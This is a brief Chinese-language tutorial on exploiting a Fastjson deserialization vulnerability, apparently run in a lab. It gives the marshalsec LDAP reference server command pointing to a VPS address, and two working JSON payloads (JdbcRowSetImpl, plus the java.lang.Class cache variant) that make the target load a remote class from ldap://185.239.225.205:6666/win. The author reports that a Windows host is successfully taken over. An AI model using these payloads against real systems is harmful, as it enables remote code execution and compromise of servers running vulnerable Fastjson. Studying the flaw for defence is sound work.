首先创建一个win类,作为命令执行的类
然后写一个漏洞Fastjson的执行类
将我们的win类传上vps
然后开启web服务
接下来利用ldap协议
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://185.239.225.205:80/#win 6666
然后我们运行项目
我们在模拟环境中利用fastjson
这里我们win修改成如下:
传到vps上
抓包后是get请求,我们将其放到repeater中,修改成post请求,修改成json格式
json我们直接从这里拿取即可
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://185.239.225.205:6666/win","autoCommit":true}
可以看到windows主机成功上线
还可以换一个我们现在最常用的payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://185.239.225.205:6666/win",
"autoCommit":true
}
}
可以看到仍然可以成功上线